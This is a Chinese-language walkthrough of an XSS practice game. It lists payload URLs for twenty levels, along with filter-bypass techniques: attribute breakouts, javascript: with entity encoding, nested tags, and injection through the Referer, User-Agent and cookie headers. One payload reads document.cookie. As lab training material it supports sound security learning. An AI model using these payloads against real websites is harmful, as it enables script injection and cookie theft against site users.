自己对XSS的理解不深,拿小游戏来练练手正好。
一个xss练习平台,在线地址:http://test.xss.tv/
xss用法js总结
AwesomeXSS
xss的常规思路:
1.先找注入点
2.再找输出点
3.根据输出点位置,格式,显示不断重新尝试有效载荷
payload
http://test.ctf8.com/level1.php?name=%3Cscript%3Ealert(/xss/)%3C/script%3E
http://test.ctf8.com/level1.php?name=%3Csvg/οnlοad=alert(1)%3E
http://test.ctf8.com/level1.php?name=%3Cimg%20src=1%20οnerrοr=alert(1)%3E
http://test.ctf8.com/level1.php?name=%%3Ca%20href=%22javascript:alert(1)%22%3Etest%3C/a%3E
显而易见,上面尖括号被过滤了,而下面却没有
PHP中 ’ 中的变量不会执行
"中的变量执行。只要闭合双引号即可
payload
http://test.ctf8.com/level2.php?keyword=%22%3E%3Cimg%20src=1%20onerror=alert(1)%3E
http://test.ctf8.com/level4.php?keyword="onclick="window.alert()
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
payload
http://test.ctf8.com/level3.php?keyword=%27onclick%3D%27window.alert%28%29&submit=%E6%90%9C%E7%B4%A2
payload
http://test.ctf8.com/level4.php?keyword=%22onmouseover=%22alert(1)
但是这串代码没有过滤<字符和>字符,那么我们可以使用标签的href属性构造payload进行弹窗
payload
http://test.ctf8.com/level5.php?keyword=%22%3E%20%3Ca%20href=%22javascript:alert(1)%22%3Exss%3C/a%3E
payload
http://test.ctf8.com/level6.php?keyword=%22ONclick%3D%22window.alert%28%29&submit=%E6%90%9C%E7%B4%A2
payload
http://test.ctf8.com/level7.php?keyword=%22%3E%3CScrscriptipt%3Ealert(1)%3C/Scriscriptpt%3E
Javascript:伪协议后面可以使用URL编码。
如:click me可成功执行弹窗。
可用img就不行:
因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
click me
payload
http://test.ctf8.com/level8.php?keyword=javascri%26%23x0070%3Bt%3Aalert%28%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5
只要让它检测到http,却不能起到作用就可以了,所以可以用注释
payload
http://test.ctf8.com/level9.php?keyword=javascri%26%23x0070%3Bt%3Aalert%281%29%2F*http%3A%2F%2Fwww.baidu.com*%2F&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5
payload
http://test.ctf8.com/level10.php?keyword%20=%20test&t_sort=%22type=%22text%22%20onclick%20=%20%22alert(1)
payload
Referer: "onclick=alert(1) type="text" //所添加的Referer头部
payload
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 " onclick=alert(1) type="text
payload
user=call+me+maybe%3F " onclick=alert(1) type="text"
这关目前做不了,我再看看
http://127.0.0.1/xss练习小游戏/level15.php?src='level1.php?name='
payload
http://127.0.0.1/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert()%3E
过滤了尖括号和双引号,用on事件触发
payload
http://127.0.0.1/xss练习小游戏/level17.php?arg01=a&arg02=b%20onclick=alert(1)
payload
http://127.0.0.1/xss练习小游戏/level18.php?arg01=a&arg02=%20onclick=alert(1)
payload
http://127.0.0.1/xss练习小游戏/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E
具体可以参考freebuf
确实很少碰到,算flash中xss少的了
payload
http://127.0.0.1/xss练习小游戏/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height